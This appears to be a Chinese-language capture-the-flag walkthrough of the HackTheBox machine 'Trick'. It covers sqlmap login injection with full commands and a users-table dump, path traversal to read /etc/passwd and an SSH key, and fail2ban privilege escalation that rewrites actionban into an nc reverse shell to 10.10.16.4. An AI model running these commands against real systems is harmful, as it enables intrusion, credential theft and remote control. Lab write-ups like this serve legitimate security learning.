HTB–Trick
1. 约等于无用功
微信公众号:小惜渗透,欢迎大佬一起交流进步
首先扫描全端口,发现是linux系统,开放着22端口并且还有个80端口,既然存在http服务那我就去网站看一下
就这一个页面毛都没有,既然找不到功能点,那就扫描下目录
目录也扫完了,但是还是没什么发现
这个网站是我们直接通过ip访问的,所以不知道是否存在其它域名,这时候我们可以通过53端口,看看是否存在域传送漏洞(利用dig命令,具体在我另一篇DNS域传送漏洞中有提到)
这里出问题了,(我用的系统是windows-kali二合一的),不到为什么用windows的nmap插件扫不出来,用kali的插件也会出错,但是当我直接开一个纯kali系统的时候却成功了
然后我们发现了两个域名解析,将他们写入到hosts里
然后我们去访问http://preprod-payroll.trick.htb(因为trick.htb和我们通过IP访问是一样的)
既然上来就一个登录页面,直接弱口令爆破
登录框出貌似存在sql注入,既然如此直接用sqlmap尝试,注意这里需要加一些http头,因为一开始我没有加HTTP头部,然后利用sqlmap没有注入成功,然后我一条的筛选,直到剩下如下图两个头部(Content-Length忽略)
我们只要少一个,相应就会出错
所以最后的命令是
python sqlmap.py -u preprod-payroll.trick.htb/ajax.php?action=login --data="username=asdasd&password =asdasddns2" -H "Host: preprod-payroll.trick.htb" -H "Content-Type: application/x-www-form-urlencoded" --level 3 --batch
跑出来的结果为
ok,既然如此去翻表数据,然后进后台
python sqlmap.py -u preprod-payroll.trick.htb/ajax.php?action=login --data="username=asdasd&password =asdasddns2" -H "Host: preprod-payroll.trick.htb" -H "Content-Type: application/x-www-form-urlencoded" --level 3 --batch --dump -T users -D payroll_db
查到用户名和密码
进来之后长这样,我没有找到能上传webshell的地方
2. 突破口
服了,这个时候不知道怎么办了,但回想一下当前这个子域名preprod-payroll
,在我之前的文章提到过目录扫描,扫描的时候一定要按照开发者的逻辑来进行变通,比如一个抽奖的网站,它的路径里可能存在cj-index
,当然没准就存在cj-admin
,也就是说开发人员在这些目录前面都加了一个cj-
的前缀,所以将这个思路代入,那么可不可能存在其它preprod-
前缀的子域名呢,ok说干就干,我这里利用的工具是ffuf
地址:https://github.com/yunxu1/dnsub
首先准备一个字典,但是ffuf没有前缀功能,所以手动加前缀,然后进行爆破
发现存在marketing,然后将它加到hosts里面,并进行访问,注意url,很明显这里的page参数后边是一个文件名,那这里可能就会存在目录遍历漏洞
接近着我在后边直接构造路径穿越发现不好用,盲猜可能存在过滤,所以我这里直接爆破,payload按照如下设置,前七个都长这样
第八个是etc/passwd
最后爆破出来
看来是存在过滤,接下来我们观察响应体,发现存在一个普通权限账户,按照靶场先普通权限再提权的思路,大概这个用户就是突破口了,但是我们现在之后一个路径穿越漏洞,所以只能查看,先看下有没有ssh的私钥
很nice
3. 内网
然后我们就可以把它保存在本地,直接通过私钥连接,在根目录拿到第一个用户flag
4. 提权
然后我们执行一下sudo -l
,看一下当前用户可提权的操作,发现/etc/init.d/fail2ban restart
fail2ban是一款实用软件,可以监视你的系统日志,并且还可以达到入侵防护的作用,具体怎么实现的呢,我们这里看一下etc/fail2ban
目录下的内容,注意这个jail.conf
的配置文件,这个文件里面写了我们不同服务的的拦截规则,如sshd登录超过5次我就拦截并且封禁ip三分钟,而这个封禁IP操作在另一个配置文件中,就是下图的action.d
目录中的文件,而且这里我们看到该目录的所属组是security
我们查一下当前用户所属组,发现非常贴心,也在security
里面
ok,既然如此我的大概思路就有了,首先修改action.d目录下的iptables-multiport.conf
文件,找到下面的actionban,看到后边接的语句是不是一目了然,其实当用户触发危险行为的时候,会由这条语句对IP进行封禁,所以我们这时候只需要将它改为反弹shell岂不就好了
但是需要注意权限问题,首先我们来看iptables-multiport.conf的权限,可以看到所有者和所属组都是root所以我们没权限修改它
但是别忘了当前用户在action.d这个目录的所属组,所以我们看一下它的权限,我们对它的目录的权限是读写执行
接下来看下面这张图,当我们对一个文件夹有写权限的时候我们可以对立面的文件进行新增和删除
那我们就可以通过复制一个iptables-multiport.conf副本,更改副本内容,然后再替换原来的文件就可以达到修改的目的了,将文件复制到tmp
目录
修改命令
/usr/bin/nc 10.10.16.4 1234 -e /usr/bin/bash
删除原来的,再把修改后的复制回来
这时候我们去看下jail.conf
配置文件,发现存在sshd服务的配置
ok,接下来重启fail2ban来让我们改过得配置文件生效,之后我们去尝试爆破ssh,来让它执行封IP的行动,然后就会去配置文件中执行封IP的命令,但是这时候封IP的命令已经被我们改成反弹shell了,所以会触发,最后成功
参考:https://jarrodrizor.com/trick-write-up/
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/289613.html